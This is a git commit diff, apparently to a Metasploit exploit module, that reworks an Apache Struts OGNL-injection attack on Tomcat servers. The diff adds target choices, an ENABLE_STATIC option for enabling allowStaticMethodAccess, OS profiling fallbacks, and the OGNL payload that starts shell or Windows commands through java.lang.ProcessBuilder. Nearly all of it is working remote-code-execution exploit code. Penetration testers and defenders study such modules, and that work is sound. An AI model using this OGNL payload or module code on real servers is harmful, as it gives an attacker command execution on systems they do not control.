Handling for Tomcat namespace issues, 'allowStaticMethodAccess' settings, and payload output

Depending on the configuration of the Tomcat server, `allowStaticMethodAccess` may already be set.  We now try to detect this as part of `profile_target`.  But that check might fail.  If so, we'll try our best and let the user control whether we prepend OGNL to enable `allowStaticMethodAccess` via the 'ENABLE_OGNL' option.

Additionally, sometimes enabling `allowStaticMethodAccess` will cause the OGNL query to fail.

Additionally additionally, some Tomcat configurations won't provide output from the payload.  We'll detect that the payload ran successfully, but tell the user there was no output.
GSoC/Meterpreter_Web_Console
asoto-r7 2018-09-06 17:56:42 -05:00
parent 7eb06b4592
commit 3671f8f6b0
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
1 changed files with 90 additions and 38 deletions

View File

@ -40,11 +40,23 @@ class MetasploitModule < Msf::Exploit::Remote
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Apr 10 2018',
'DefaultTarget' => 0))
@ -54,6 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
@ -66,28 +79,46 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
# Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
ognl = "#{a}+#{b}"
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed => error
print_error(error.to_s)
return Exploit::CheckCode::Unknown
end
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain the sum of our two numbers (a+b)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
CheckCode::Vulnerable
else
CheckCode::Safe
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
@ -171,7 +202,7 @@ class MetasploitModule < Msf::Exploit::Remote
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION")
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
@ -202,7 +233,9 @@ class MetasploitModule < Msf::Exploit::Remote
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = "(#_memberAccess['allowStaticMethodAccess']=true).('#{rand_text_alpha(2)}')"
ognl = ""
ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC']
ognl << "('#{rand_text_alpha(2)}')"
properties.each do |k,v|
ognl << "+(@java.lang.System@getProperty('#{k}'))+':'"
end
@ -210,11 +243,19 @@ class MetasploitModule < Msf::Exploit::Remote
r = send_struts_request(ognl)
if r && r.code == 302 && r.headers['Location']
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
@ -250,9 +291,17 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("AFTER: #{cmd_input}")
end
properties = profile_target
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
os = properties[:'os.name'].downcase
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
@ -268,7 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("Executing: #{cmd}")
ognl = "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl = ""
ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC']
ognl << "(#p=new java.lang.ProcessBuilder(#{cmd}))."
ognl << "(#p.redirectErrorStream(true))."
ognl << "(#process=#p.start())."
@ -281,23 +331,25 @@ class MetasploitModule < Msf::Exploit::Remote
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
else
print_error("Failed to run command. Response from server: #{r.to_s}")
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
properties = profile_target
os = properties[:'os.name'].downcase
if os.include? 'win'
fail_with(Failure::NoTarget, "Windows currently unsupported.")
#execute_cmdstager(flavor: :vbs)
elsif (os.include? 'linux') || (os.include? 'nix')
# cool. Keep going
else
print_error("Unrecognized operating system.")
fail_with(Failure::NoTarget, "Unsupported target platform!")
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']